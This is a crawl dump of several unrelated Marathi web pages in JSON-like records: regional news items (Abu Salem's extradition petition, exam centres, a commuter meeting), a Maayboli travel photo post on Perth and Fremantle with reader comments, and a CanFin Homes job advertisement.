ज्योती मोरे, आयेशा फुलारी, रमा भुजबळ, पुजा कोळेकर, शंकुतला आवळे यांनी केली.\nमोहोळ : अल्पवयीन मुलीवर लैंगिक अत्याचार\nस्क्रूड्रायव्हर पोटात खुपसून पत्नीचा खून\n....असा असणार व्यापाऱ्यांचा भारत बंद \nविहिरीत महिलेचा मृतदेह आढळला\nविराटला राजीव गांधी खेलरत्न, तर राही सरनोबतला अर्जुन पुरस्कार प्रदान\nग्रामीण मुलींना बारावीपर्यंत एसटीचा प्रवास मोफत\nमाथाडी कायदा मोडीत नाही, मजबूत केला : मुख्यमंत्री\nआयुष्यमान भारत काय आहे योजना\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00434.warc.wet.gz", "language": "mr", "language_score": 0.99, "bucket": "all"} {"url": "https://www.maayboli.com/node/26730", "date_download": "2018-09-25T18:16:22Z", "digest": "sha1:YYWYL6DNCDLFDPEKDXIY65MWJGYXD2HS", "length": 18682, "nlines": 267, "source_domain": "www.maayboli.com", "title": "थोडासा पश्चीम ऑस्ट्रेलिया : फ्रिमँटल आणि पर्थ | Maayboli", "raw_content": "\nमायबोलीचे मोबाईल अ‍ॅप (अँड्रोईड + आयओएस) सर्वांसाठी उपलब्ध आहे.\nYou are here: मुख्यपृष्ठ /थोडासा पश्चीम ऑस्ट्रेलिया : फ्रिमँटल आणि पर्थ\nथोडासा पश्चीम ऑस्ट्रेलिया : फ्रिमँटल आणि पर्थ\nअवघ्या एक आठवड्याचा मुक्काम, त्यातही अतिशय व्यस्त आणि हेक्टीक वेळापत्रक. त्यामुळे चार दिवस कसे गेले ते कळालेच नाही. शेवटच्या दिवशी मात्र माझा ऑस्ट्रेलियन सहकारी किथ डायर याने मला पर्थ आणि फ्रिमँटलचा बराचसा भाग त्याच्या गाडीतून फिरवून दाखवला. धन्यवाद किथ \nफ्रिमँटल : हार्बर कम यॉटींग क्लब\nप्रचि ३ - अ\nहवे असल्यास इथल्या फिशमार्केट मधुन आपल्याला हवे ते विकत घेवून आपण तिथल्या कुकला ते बनवायला देवु शकतो.\nताजे (जिवंत) खाद्य पण उपलब्ध असते..\nकाश, मेरा भी एक ऐसा घरोंदा होता.......\nसंध्याकाळी साडे पाच - सहाच्या दरम्यान किंग्स पार्कच्या टेकडीवरून टिपलेला पर्थ सी.बी.डी. आणि स्वॅन नदीचा देखावा\nमनसोक्त उंडगून झाल्यावर फ्रिमँटलच्या सुप्रसिद्ध \" 'गिनो'ज कॅफे\" मधली मस्त आणि कडक कॉफी प्यायला थांबलेलं आमचं त्रिकुट...\n# विंन्स्टन कोह (डावीकडचा) आणि किथ डायर (उजवीकडचा)\nविंन्स्टन (जो चायनीज आहे) सिंगापूरहून आला होता, तर किथ (ऑस्ट्रेलियन) मेलबर्नचा. ही सफर किथच्या सौजन्याने होती. त्याच्या गाडीने त्याच्याच खर्चाने धन्स अ लॉट किथ \nशेवटचा आणि सगळ्यात त्रासदायक फोटो \nमाझ्या हॉटेलमधील फ्रीजचा. एवढं काही समोर दिसतय पण उपभोगता येत नाही अशी वाईट अवस्था होती. माझ्या बॉसने काय हवे ते कर खर्च अ‍ॅप्रुव्ह करायची जबाबदारी माझी असे सांगितले होते. पण आमच्या डॉक्टरांनी परवानगी दिलेली नसल्याने सगळाच तोंड दाबुन बुक्क्यांचा मार होता.\nसुंदर पर्थ आणि सुंदर प्रचि\nसुंदर पर्थ आणि सुंदर प्रचि विश्ल्या\nशेवटचा प्रचि फार फार फार म्हणजे जवळुनच आवडला\nफोटो चांगलेत पण खूप ब्राईट\nफोटो चांगलेत पण खूप ब्राईट वाटतायत.\nआडो, आयुष्यात प्रथमच निकॉन\nआडो, आयुष्यात प्रथमच निकॉन ऑपरेट करत होतो (निकॉन - डी ५००० : १८-५५) त्यामुळे अंदाज येत नव्हता.\nबघू सवडीने फोटोशॉपमध्ये थोड्या प्रक्रिया करून बघेन.\nविकुम्हाराज मस्त प्रचि तुझा\nतुझा फोटु आधी बालगंधर्वच्या कॅफेटेरीयात काढलाय अस वाटल ब्याक्ग्राऊंड बघून\nमग कॉफीचा मग बघून लक्षात आल\nओह्ह, शेवटून दुसरा फोटो\nओह्ह, शेवटून दुसरा फोटो बघितल्यावर कॅमेरा निकॉन आहे हे कळलंच. फोटोशॉप किंवा पिकासामध्ये थोडं प्रोसेसिंग करून ठीक करता येतील(च).\nपिकासामध्ये थोडं प्रोसेसिंग करून ठीक करता येतील(च). >>> विश्ल्या पिकासामध्येच कर शॉर्टकट आहे. जागच्याजागीच होतील. सर्वच प्रचि एडीट करण्याची गरज नाहीय ८, झिंगे, ९, १४, १६ क्रमांकाचे प्रचि जरा 'उजळ' आले आहेत.\nछान आहेत फोटो. पण रंग जरा\nछान आहेत फोटो. पण रंग जरा वेगळे वाटताहेत. पुढच्या वेळेस जास्त फिरायला मिळो, या शुभेच्छा \nमेजवानी मिळेल या आशेने आलो\nमेजवानी मिळेल या आशेने आलो होतो,विशाल कुलकर्णी.पण तुम्ही नुसताच ट्रेलर दाखवला.\nअसो. फोटो आवडले. अब इसकू झब्बू देना बोले तो,मै ४ साल पसले सिडनी गया था वो चिपकाना पडेंगा.\nऑस्ट्रेलियाला गेला होतास त्याचं प्रूफ म्हणून तुझा फोटो टाकलायस का\nबाकी सगळे फोटो खूप खूप आवडले... मस्त काढले आहेस.\nमेलबर्नला यायचं ना राव\nकिथ फारच बघितल्यासारखा वाटला\nमस्त फोटो. पंढरीत आत नाही\nमस्त फोटो. पंढरीत आत नाही जाता आले का आतला फोटो असला तर टाक.\nसह्ही फोटो रे विकुदा पण आमच\nसह्ही फोटो रे विकुदा\nपण आमच पूर्व ऑस्ट्रेलिया जास्त छान आहे बर का, पुढच्या वेळेस इथे ये आणि सिडनी, कॅनबरा, ब्रिस्बेन, गोल्ड कोस्ट फिरं\nवत्सले, मेलबर्न पण छानच आहे हां\nसुंदर पण खुप कमि फोटो. तुमच\nसुंदर पण खुप कमि फोटो. तुमच वर्णनहि नाहि कि जे फोटोप्रमाणेच छान असते.\nविशाल, ३-अ : टिल्टेड हॉरिझॉन\nविशाल, ३-अ : टिल्टेड हॉरिझॉन ठीक करावे..उत्तम आहे तो फोटो\nबाकी पण मस्त फोटो....कधी गेला होतास इकडे \nपक्स..ते आणखी कसं करायचं\nपक्स..ते आणखी कसं करायचं\n@फारएंड : नाही रे, त्या दिवशी नेमकं मेंटेनन्ससाठी बंद होतं त्यामुळे आत नाही जाता आलं.\n@दक्षा : दक्षे, कुणाकडूनतरी हा प्रश्न येणार (प्रुफबद्दल) हे माहीतच होतं. कातिल घरकाही निकला\nरच्याक पंढरी म्हणजे ते पर्थच्या वाका स्टेडियमचं प्रवेशद्वार आहे. आम्हा क्रिकेटभक्तांसाठी (विशेषतः डेनीस लिलीच्या भक्तांसाठी) ती पंढरीच आहे.\nबाकी सर्व मंडळींचेही मनःपूर्वक आभार \nकिथ डायर ........ जनरल डायरचा नातु का \nपर्थ च्या मॅचमधे कॉमेंटरी\nपर्थ च्या मॅचमधे कॉमेंटरी ऐकताना फ्रीमँटल डॉक्टर ही टर्म कधीकधी ऐकलेली आहे, त्याचा संबंध या फ्रीमँटलशी होता असे विकीपेडिया वरून समजले होते. त्या टाउनचीही चांगली ओळख झाली या फोटोंमुळे.\nनकाशात तेथे एका चिंचोळ्या भागात ते पोर्ट दिसते. तेथीलच आहेत का हे फोटो बाकी भारत सोडून इतर देशांच्या किनार्‍याला हिंदी महासागरच असणे हे ही एक वेगळेपण\nजनरल डायर ब्रिटीश होता बहुदा.\nजनरल डायर ब्रिटीश होता बहुदा. किथ पक्का ऑस्ट्रेलियन आहे श्री\nफोटो छान... आपल्या देशात कधी\nआपल्या देशात कधी पहायला मिळणार असे नजारे....\nनवीन खाते उघडून मायबोलीकर व्हा\nनवीन परवलीचा शब्द मागवा\nस्थापना : गणेश चतुर्थी, सप्टेंबर १६, १९९६. प्रताधिकार १९९६-२०१८ मायबोली. सर्व हक्क स्वाधीन. वापराचे/वावराचे नियम\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00434.warc.wet.gz", "language": "mr", "language_score": 0.91, "bucket": "all"} {"url": "http://www.pudhari.news/news/Mumbai-Thane-Raigad/Abu-Salem-moves-Court-of-Human-Rights-to-cancel-extradition-to-India/", "date_download": "2018-09-25T17:16:56Z", "digest": "sha1:RU5DYHHNFAP3DIJLNW75HGYEFEL3OFCD", "length": 6131, "nlines": 36, "source_domain": "www.pudhari.news", "title": " अबु सालेमची पुन्हा मानवाधिकार न्यायालयात धाव | पुढारी\tTop", "raw_content": "\nनेमबाज राही सरनोबत, भालाफेकपटू नीरज चोप्रा, धावपटू जॉन्सन, हिमा दासला अर्जुन पुरस्कार\nक्रिकेटर विराट कोहली, वेटलिफ्टर मिराबाई चानू यांचा राजीव गांधी खेलरत्न पुरस्काराने सन्मान\nहोमपेज › Mumbai-Thane-Raigad › अबु सालेमची पुन्हा मानवाधिकार न्यायालयात धाव\nअबु सालेमची पुन्हा मानवाधिकार न्यायालयात धाव\nआपले भारताकडे करण्यात आलेले प्रत्यार्पण रद्द करुन आपणास पुन्हा पोर्तुगालला पाठवण्यात यावे, या मागणीसाठी अंडरवर्ल्ड डॉन अबू सालेम याने पुन्हा मानवाधिकार युरोपीयन न्यायालयात धाव घेतली आहे. 1993 च्या बाँबस्फोटप्रकरणी आपणास दोषी धरले गेल्याने भारत-पोर्तुगाल दरम्यान झालेल्या प्रत्यार्पण कराराचे उल्लंघन झाल्याचा दावा सालेम याने आपल्या ताज्या याचिकेत केला आहे.\nआपल्या वकिलामार्फत अबू सालेम याने दुसर्‍यांदा मानवाधिकार युरोपियन न्यायालयाला पत्र लिहून भारताकडून झालेले प्रत्यार्पण कराराचे उल्लंघन तसेच याप्रकरणी पोर्तुगिज सरकारकडून दाखवण्यात आलेल्या निष्क्रीयतेबद्दल त्यात आरोप केला आहे. यापूर्वी गेल्या जूनमध्ये त्याने मानवाधिकार युरोपियन न्यायालयात धाव घेवून 1993 च्या स्फोटाबाबत सुरु करण्यात आलेला खटला म्हणजे प्रत्यार्पण कराराचे उल्लंघन असल्याचा दावा केला होता.\nनुकत्याच दाखल केलेल्या याचिकेतही त्याने टाडा न्यायालयाच्या निवाड्यापुढे प्रश्‍नचिन्ह उभे केले आहे. 1993 च्या बाँबस्फोटप्रकरणी 16 जून 2017 रोजी टाडा न्यायालयाने त्यास दोषी धरत 7 सप्टेंबर 2017 रोजी त्यास 25 वर्षे कारावासाची शिक्षा सुनावली होती. यामुळे प्रत्यार्पण कराराचे उल्लंघन केल्याप्रकरणी पोर्तुगिज सरकारने भारत सरकारला जाब विचारायला हवा तसेच आपणास पुन्हा पोर्तुगालला बोलावून घेण्यात यावे, अशी विनंतीही सालेम याने या पत्रात केली आहे.\nआपणावर केवळ 9 खटले चालवण्याची परवानगी पोर्तुगाल सरकारने भारताला दिली होती. मात्र आपले प्रत्यार्पण केल्यानंतर आपल्याला 32 नविन खटले व अतिरिक्त आरोपांमध्ये दोषी धरण्यात आल्याचे सालेमने या पत्रात नमूद केले आहे.\nमोहोळ : अल्पवयीन मुलीवर लैंगिक अत्याचार\nस्क्रूड्रायव्हर पोटात खुपसून पत्नीचा खून\n....असा असणार व्यापाऱ्यांचा भारत बंद \nविहिरीत महिलेचा मृतदेह आढळला\nविराटला राजीव गांधी खेलरत्न, तर राही सरनोबतला अर्जुन पुरस्कार प्रदान\nग्रामीण मुलींना बारावीपर्यंत एसटीचा प्रवास मोफत\nमाथाडी कायदा मोडीत नाही, मजबूत केला : मुख्यमंत्री\nआयुष्यमान भारत काय आहे योजना\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00435.warc.wet.gz", "language": "mr", "language_score": 0.98, "bucket": "all"} {"url": "http://www.pudhari.news/news/Mumbai-Thane-Raigad/Principal-immediately-fill-vacant-posts/", "date_download": "2018-09-25T17:09:37Z", "digest": "sha1:6HLNRNMQWPKJFRPTLYWCOOAOR54SKHJL", "length": 4258, "nlines": 35, "source_domain": "www.pudhari.news", "title": " प्राचार्यांची रिक्‍त पदे तातडीने भरा | पुढारी\tTop", "raw_content": "\nनेमबाज राही सरनोबत, भालाफेकपटू नीरज चोप्रा, धावपटू जॉन्सन, हिमा दासला अर्जुन पुरस्कार\nक्रिकेटर विराट कोहली, वेटलिफ्टर मिराबाई चानू यांचा राजीव गांधी खेलरत्न पुरस्काराने सन्मान\nहोमपेज › Mumbai-Thane-Raigad › प्राचार्यांची रिक्‍त पदे तातडीने भरा\nप्राचार्यांची रिक्‍त पदे तातडीने भरा\nराज्यातील विद्यापीठाशी संलग्‍न असलेल्या महाविद्यालयातील प्राचार्यांची रिक्त असलेली पदे गेली कित्येक वर्षे रिक्‍त आहेत. अनेक महाविद्यालयांत प्रभारी म्हणूनच हे पद कार्यरत आहे. ही पदे तातडीने भरण्याचे निर्देश उच्च व तंत्रशिक्षण विभागाने विद्यापीठांना दिले आहेत.\nउच्चशिक्षण संचालनालयाच्या अधिपत्याखालील अशासकीय अनुदानित महाविद्यालयातील प्राचार्य या संवर्गाचे पद हे एकाकी पद असून ते महाविद्यालयातील दैनंदिन प्र्रशासकीय तसेच शैक्षणिक कामकाजासाठी हे पद गरजेचे आहे. रिक्‍त पदे ही उच्चशिक्षणासमोरील मुख्य समस्या बनली आहे. प्राचार्य, शिक्षकांच्या जागा रिक्त असलेल्या महाविद्यालयांनी पाच वर्षे पूर्ण केलेली ही पदे भरायची आहेत. नव्याने भरलेल्या प्राचार्यांना तत्काळ मान्यता देण्यात येणार असल्याचे परिपत्रकात नमूद केले आहे.\nमोहोळ : अल्पवयीन मुलीवर लैंगिक अत्याचार\nस्क्रूड्रायव्हर पोटात खुपसून पत्नीचा खून\n....असा असणार व्यापाऱ्यांचा भारत बंद \nविहिरीत महिलेचा मृतदेह आढळला\nविराटला राजीव गांधी खेलरत्न, तर राही सरनोबतला अर्जुन पुरस्कार प्रदान\nग्रामीण मुलींना बारावीपर्यंत एसटीचा प्रवास मोफत\nमाथाडी कायदा मोडीत नाही, मजबूत केला : मुख्यमंत्री\nआयुष्यमान भारत काय आहे योजना\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00435.warc.wet.gz", "language": "mr", "language_score": 0.98, "bucket": "all"} {"url": "https://www.mahanmk.com/recruitment/can-fin-homes-ltd-bangalor-recruitment-16042018.html", "date_download": "2018-09-25T17:49:09Z", "digest": "sha1:HGDC6N7ACPJAM7WZMT44CEKL2MCSWOFO", "length": 6698, "nlines": 109, "source_domain": "www.mahanmk.com", "title": "कॅन फिन होम लिमिटेड [CanFin Homes Ltd] बंगलोर येथे विविध पदांच्या ६२ जागा", "raw_content": "\nकॅन फिन होम लिमिटेड [CanFin Homes Ltd] बंगलोर येथे विविध पदांच्या ६२ जागा\nकॅन फिन होम लिमिटेड [CanFin Homes Ltd] बंगलोर येथे विविध पदांच्या ६२ जागा\nकॅन फिन होम लिमिटेड [CanFin Homes Ltd. Bangalore] बंगलोर येथे विविध पदांच्या ६२ जागांसाठी पात्र उमेदवारांकडून अर्ज मागवण्यात येत असून ऑनलाइन अर्ज करण्याचा अंतिम दिनांक २१ एप्रिल व २४ एप्रिल २०१८ आहे. सविस्तर माहितीसाठी कृपया जाहिरात पाहा.\nअधिक माहिती खालीलप्रमाणे :\nमुख्य व्यवस्थापक (Chief Manager) : ०२ जागा\nवयाची अट : २८ वर्षे ते ३५ वर्षे\nअधिकारी (Officer) : १० जागा\nवयाची अट : २५ वर्षे ते ३० वर्षे\nवयाची अट : २५ वर्षे ते ३५ वर्षे\nशुल्क : १००/- रुपये\nवेतनमान (Pay Scale) : १०,०००/- रुपये ते ७९,३८७/- रुपये\nनोकरी ठिकाण : संपूर्ण भारत\nटीप: आपले वय मोजण्याकरिता Age Calculator चा वापर करावा.\nफॉर्म भरण्याचा अंतिम दिनांक : 24 April, 2018\nNote: नवीन जाहिरातींचे सर्वात जलद अपडेट्स मिळवण्यासाठी \"www.MahaNMK.com\" या संकेतस्थळाला दररोज भेट द्या\n〉 नगरपरिषद देऊळगाव राजा, जि. बुलढाणा येथे 'वीजतंत्री' पदांची ०१ जागा\n〉 श्री गुरु गोबिंद सिंहजी इंजिनीअरिंग अँड टेक्नॉलॉजी, नांदेड येथे 'रिसर्च फेलो' पदांच्या जागा\n〉 कॅन्टोनमेंट बोर्ड देवळाली येथे 'सहाय्यक आरोग्य निरीक्षक' पदांच्या ०२ जागा\n〉 लोणार नगर परिषद [Lonar Nagar Parishad] बुलढाणा येथे 'स्थापत्य अभियंता' पदांची ०१ जागा\n〉 भारत हेवी इलेक्ट्रिकल लिमिटेड [BHEL] नागपूर येथे 'अर्धवेळ वैद्यकीय सल्लागार' पदांची ०१ जागा\n〉 झारखंड उच्च न्यायालय [Jharkhand High Court] रांची येथे विविध पदांच्या ७३ जागा\n〉 शासकीय अध्यापक महाविद्यालय मुंबई येथे 'सहायक प्राध्यापक' पदांच्या ०४ जागा\n〉 सोलापूर जिल्हा मध्यवर्ती सहकारी बँक मर्यादित येथे 'संगणक सल्लागार' पदांच्या जागा\n〉 राज्यसेवा प्रश्नपत्रिका संच\n〉 RRB भारतीय रेल्वेच्या ग्रुप-डी परीक्षा प्रवेशपत्र\n〉 जिल्हा निहाय जाहिराती\n〉 शैक्षणिक पात्रतेनुसार जाहिराती.\n〉 माहिती व जनसंपर्क विभाग.\n〉 महाराष्ट्र लोकसेवा आयोग.\n〉 केंद्रीय लोकसेवा आयोग.\n〉 स्टाफ सलेक्शन कमिशन.\n〉 महिला व बालविकास विभाग.\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00435.warc.wet.gz", "language": "mr", "language_score": 0.8, "bucket": "all"} {"url": "http://amp.esakal.com/pune/marathi-news-pune-news-uruli-kanchan-loni-kalbhor-10th-exam-starts-100639", "date_download": "2018-09-25T17:13:56Z", "digest": "sha1:KW25QB6SVDM2EMJ4FIR7TG5DAK653HRN", "length": 11191, "nlines": 51, "source_domain": "amp.esakal.com", "title": "Marathi news pune news uruli kanchan loni kalbhor 10th exam starts उरुळी कांचन व लोणी काळभोर येथे दहावीची परीक्षा सुरळीत चालू | eSakal", "raw_content": "\nउरुळी कांचन व लोणी काळभोर येथे दहावीची परीक्षा सुरळीत चालू\nजनार्दन दांडगे | गुरुवार, 1 मार्च 2018\nउरुळी कांचन (पुणे) : राज्य माध्यमिक व उच्च माध्यमिक विभागाच्या इयत्ता दहावीच्या परीक्षेसाठी आलेल्या विद्यार्थ्यांचे उरुळी कांचन (ता. हवेली) येथील महात्मा गांधी विद्यालयाच्या परीक्षा केंद्रावर गुलाब पुष्प देऊन स्वागत करण्यात आले. यावेळी केंद्र संचालिका तथा विद्यालयाच्या प्राचार्या अलका परदेशी यांनी विद्यार्थ्यांना परीक्षेसाठी शुभेच्छा देवून परीक्षेच्या नियमांचे पालन करण्याच्या सूचना दिल्या. विद्यालयाच्या वतीने परीक्षार्थींच्या स्वागतासाठी परीक्षाकेंद्राच्या प्रवेशद्वारावर रांगोळी रेखाटण्यात आली होती.\nउरुळी कांचन (पुणे) : राज्य माध्यमिक व उच्च माध्यमिक विभागाच्या इयत्ता दहावीच्या परीक्षेसाठी आलेल्या विद्यार्थ्यांचे उरुळी कांचन (ता. हवेली) येथील महात्मा गांधी विद्यालयाच्या परीक्षा केंद्रावर गुलाब पुष्प देऊन स्वागत करण्यात आले. यावेळी केंद्र संचालिका तथा विद्यालयाच्या प्राचार्या अलका परदेशी यांनी विद्यार्थ्यांना परीक्षेसाठी शुभेच्छा देवून परीक्षेच्या नियमांचे पालन करण्याच्या सूचना दिल्या. विद्यालयाच्या वतीने परीक्षार्थींच्या स्वागतासाठी परीक्षाकेंद्राच्या प्रवेशद्वारावर रांगोळी रेखाटण्यात आली होती.\nविद्यालयाच्या परीक्षा केंद्रावर उरुळी कांचन व परिसरातील एकूण बारा शाळांचे मिळून १ हजार २६३ विद्यार्थी परीक्षेसाठी उपस्थित असल्याची माहिती अलका परदेशी यांनी दिली. यामध्ये उरुळी कांचन येथील महात्मा गांधी विद्यालय, स्वामी विवेकानंद विद्या मंदिर, एंजल हायस्कूल, कोरेगाव मुळ येथील अमर एज्युकेशन इंस्टीट्युट, सोरतापवाडी येथील पुरोगामी माध्यमिक विद्यालय, शिंदवणे येथील संत यादवबाबा माध्यमिक विद्यालय, अष्टापूर येथील न्यू. इंग्लिश स्कूल, हिंगणगाव येथील लोकनेते दादा जाधवराव माध्यमिक विद्यालय व दौंड तालुक्याच्या यवत येथील विद्या विकास मंदिर, बोरी भडक येथील सुभाष अण्णा कुल माध्यमिक विद्यालय, बोरी ऐंदी येथील शिवराम बापू कुदळे माध्यमिक विद्यालयांच्या विद्यार्थ्यांचा समावेश आहे.\nयावेळी परीक्षा केंद्रावर सर्व सहभागी शाळांचे मुख्याध्य्पक व अध्यापक उपस्थित होते. तसेच पर्यवेक्षक डी. के. टिळेकर, लता चव्हाण, के. बी. दिवेकर, ए. एस. पाटील व व्ही. बी. थिटे यांनी परीक्षा केंद्राचे नियोजन केले.\nलोणी काळभोर (ता. हवेली) येथील पृथ्वीराज कपूर मेमोरीअल हायस्कूल व कन्या प्रशाला या परीक्षाकेंद्र व परीक्षा उपकेंद्रावर अनुक्रमे ५०० व ४६४ विद्यार्थी उपस्थित असल्याची माहिती केंद्र संचालक तथा हायस्कूलचे प्राचार्य एस. एम. गवळी यांनी दिली. यामध्ये लोणी काळभोर येथील पृथ्वीराज कपूर मेमोरीअल हायस्कूल, कन्या प्रशाला, लोणी स्टेशन येथील सेंट तेरेसा, थेऊर येथील चिंतामणी माध्यमिक विद्यालय, न्यू. इंग्लिश मीडियम, आळंदी म्हातोबाची येथील म्हातोबा माध्यमिक विद्यालय, कुंजीरवाडी येथील ग्रामीण सर्वांगीण विकास माध्यमिक विद्यालयांच्या विद्यार्थ्यांचा समावेश आहे. यावेळी एस. एम. गवळी यांनी विद्यार्थ्यांना परीक्षेसाठी शुभेच्छा दिल्या. कन्या प्रशालेच्या प्राचार्या सरोज पाटील, पर्यवेक्षक एस. बी. कामत, निजाम जमादार, एस. एस. खळदकर, एस. जे. धिमधिमे उपस्थित होते. दरम्यान लोणी काळभोर पोलिसांच्या वतीने उरुळी कांचन व लोणी काळभोर या दोन्ही परीक्षा केंद्रावर कडक बंदोबस्त ठेवण्यात आला होता.\nइम्रान खान आश्वासनपूर्ती करू शकतील का\nपाकिस्तानच्या नव्या पंतप्रधानांनी देशाला उद्देशून दिलेल्या पहिल्या जाहीर अभिभाषणाचे त्यांच्या विरोधकांसह सर्वांनी स्वागतच केलेले आहे कारण...\nडहाणूत हॉटेलवर छापा, 26 जुगार खेळणाऱ्यांना अटक\nबोर्डी : गणेश विसर्जना दिवशी आज पहाटे साडेतीन वाजता अतिरिक्त पोलिस अधिक्षक योगेश चव्हाण यांच्या नेतृत्वाखालील पथकाने हॉटेल पिंक लेकवर...\nचिमूर तालुक्यातील दोन अंध विद्यार्थी करणार बॅटिंग\nचिमूर - क्रीकेट असोसिएशन फॉर दी ब्लाँइड ऑफ महाराष्ट्र व भारतिय अंधजन विकास व पुनर्वसन संस्था अमरावती यांच्या संयुक्त विद्यमाने विदर्भ स्तरीय अंध...\nगोव्याच्या मुख्यमंत्रीपदी मनोहर पर्रीकर कायम\nनवी दिल्ली- गोव्याचे मुख्यमंत्री मनोहर पर्रिकर यांना प्रकृती अस्वास्थ्यामुळे बराच काळ रुग्णालयात उपचारांसाठी दाखल व्हावे लागत आहे. त्यामुळे राज्याचे...\nविसर्जनासाठी हिंगोलीत लाखो भाविक दाखल\nहिंगोली : हिंगोली येथील मोदकाचा तसेच नवसाला पावणारा गणपती म्हणून प्रसिद्ध असलेल्या विघ्नहर्ता चिंतामणी गणपतीच्या दर्शनासाठी रविवारी (ता. 23)...\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00436.warc.wet.gz", "language": "mr", "language_score": 0.98, "bucket": "all"} {"url": "http://pclive7.com/%E0%A4%AA%E0%A4%BF%E0%A4%82%E0%A4%AA%E0%A4%B0%E0%A5%80-%E0%A4%9A%E0%A4%BF%E0%A4%82%E0%A4%9A%E0%A4%B5%E0%A4%A1%E0%A4%AE%E0%A4%A7%E0%A5%8D%E0%A4%AF%E0%A5%87-%E0%A4%AA%E0%A4%B9%E0%A4%BF%E0%A4%B2%E0%A5%8D/", "date_download": "2018-09-25T17:57:49Z", "digest": "sha1:RVVRCA5YTVKF7MC7O7TWDR3I262CQVLK", "length": 7825, "nlines": 72, "source_domain": "pclive7.com", "title": "पिंपरी चिंचवडमध्ये पहिल्या ‘प्रवासी मेळाव्या’चे शनिवारी आयोजन | PCLIVE7.com – Pimpri Chinchwad News, Pune News Live.", "raw_content": "\nपिंपरी चिंचवड शहराचा बुधवारी विस्कळीत व कमी दाबाने पाणीपुरवठा\n१५ दिवसांत शास्तीकर भरा अन् ९० टक्के सवलत मिळवा; स्थायी समितीचा निर्णय\n६० वर्षीय महिलेचा स्वाईन फ्लूने मृत्यू; पिंपरी चिंचवडमधील २३ वा बळी\nपिंपरीतील फुल बाजाराच्या स्थलांतरावर शिक्कामोर्तब\n‘स्वराज्यरक्षक संभाजी’ या मालिकेतील कलावंतांशी शनिवारी चिंचवडला मुक्त संवाद\nमहापालिका मुख्यालयात वैद्यकीय कक्ष सुरू करा; विरोधी पक्षनेते दत्ता साने यांची मागणी\nवायसीएमच्या दारातच रूग्णाची ‘हेळसांड’, अर्धातासाच्या प्रतिक्षेनंतर उपचार सुरू\nनाना काटे सोशल फाऊंडेशनच्या मूर्तीदान उपक्रमाला उस्फूर्त प्रतिसाद; १२ हजार ३०० मूर्तींचे केले संकलन\nढोल ताशांच्या गजराज उन्न’ती’च्या गणपतीचे विसर्जन\nधक्कादायक : हिंजवडीतील अत्याचार प्रकरणी आणखी दोघांना अटक\nHome पिंपरी-चिंचवड पिंपरी चिंचवडमध्ये पहिल्या ‘प्रवासी मेळाव्या’चे शनिवारी आयोजन\nपिंपरी चिंचवडमध्ये पहिल्या ‘प्रवासी मेळाव्या’चे शनिवारी आयोजन\nपिंपरी (Pclive7.com):- पीएमपी प्रवासी मंच व पिंपरी चिंचवड सिटीझन्स फोरम यांच्या सौजन्याने पिंपरी चिंचवड शहरात पहिला ‘प्रवासी मेळावा’ आयोजित करण्यात आलेला आहे. शनिवार दि.१५ सप्टेंबर रोजी सायंकाळी ५ ते ७ या वेळेत निगडी येथील संत तुकाराम संकुलातील नॉव्हेल हॉटेल मॅनेजमेंट इन्स्टिटयूट येथे या मेळाव्याचे आयोजन करण्यात आले आहे. प्रवासी मंच व पिंपरी चिंचवड मधील विविध सामाजिक संस्थांचे प्रतिनिधी, प्रवासी, महापालिका संचालक व अधिकारी, पीएमपीएमएलते अधिकारी, पत्रकार आदी मान्यवर यावेळी उपस्थित राहणार आहेत.\nपुण्यात विविध ठिकाणी दर महिन्याच्या तिसऱ्या शनिवारी प्रवासी मंच आयोजित केला जातो. आत्तापर्यंत १८ मेळावे आयोजित करण्यात आले आहेत. सार्वजनिक बससेवा सक्षम करण्यासाठी सूचना देणे, प्रवासी व प्रशासन यांच्यात समन्वय साधून तक्रारी दूर करणे, तसेच बस वापरासाठी प्रोत्साहन देणे हे मेळावा आयोजित करण्यामागची मुख्य उद्दिष्ट्ये आहेत.\nशनिवारी होणाऱ्या या मेळाव्याला प्रवासी मंचविषयी माहिती, निगडी-दापोडी बीआरटी, खरेच व्यवहार्य आहे का (फायदे व तोटे), पिंपरी चिंचवड परिसरातीलनपीएमपीएमएल बस मार्गांची व योजनांची माहिती, नागरिकांच्या प्रश्न व शंकाचे निरसन, सर्वाधिक तक्रारी/सूचना देणाऱ्या प्रवाश्यांचा सत्कार यावेळी करण्यात येणार आहे.\nया मेळाव्यासाठी अधिक माहितीसाठी विश्वास कदम ९४०४२२७३०९, संजय शितोळे ९८५०९५८१८९ यांच्याशी संपर्क साधावा असे आवाहन आयोजकांच्यावतीने करण्यात आले आहे.\n२ गावठी कट्टे व काडतूसासह सराईत फरार गुन्हेगार चिंचवड पोलीसांच्या ताब्यात\nपिंपरी महापालिकेचे चार नगरसेवक डेंजर झोनमध्ये…\nपिंपरी चिंचवड शहराचा बुधवारी विस्कळीत व कमी दाबाने पाणीपुरवठा\n१५ दिवसांत शास्तीकर भरा अन् ९० टक्के सवलत मिळवा; स्थायी समितीचा निर्णय\n६० वर्षीय महिलेचा स्वाईन फ्लूने मृत्यू; पिंपरी चिंचवडमधील २३ वा बळी\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00436.warc.wet.gz", "language": "mr", "language_score": 0.96, "bucket": "all"} {"url": "http://www.esakal.com/paschim-maharashtra/government-instructions-milk-prices-cooperative-societies-128599", "date_download": "2018-09-25T18:00:30Z", "digest": "sha1:K5GWTLWVU5EWLHYTOTL74S7RO55F2EAJ", "length": 12491, "nlines": 172, "source_domain": "www.esakal.com", "title": "Government instructions on milk prices to Cooperative Societies सहकारी संघांना दूधदराबाबत सरकारचे अजब निर्देश | eSakal", "raw_content": "\nसहकारी संघांना दूधदराबाबत सरकारचे अजब निर्देश\nशुक्रवार, 6 जुलै 2018\nसोलापूर - शेतीला महत्त्वपूर्ण जोडधंदा असलेला दुग्ध व्यवसाय टिकावा, 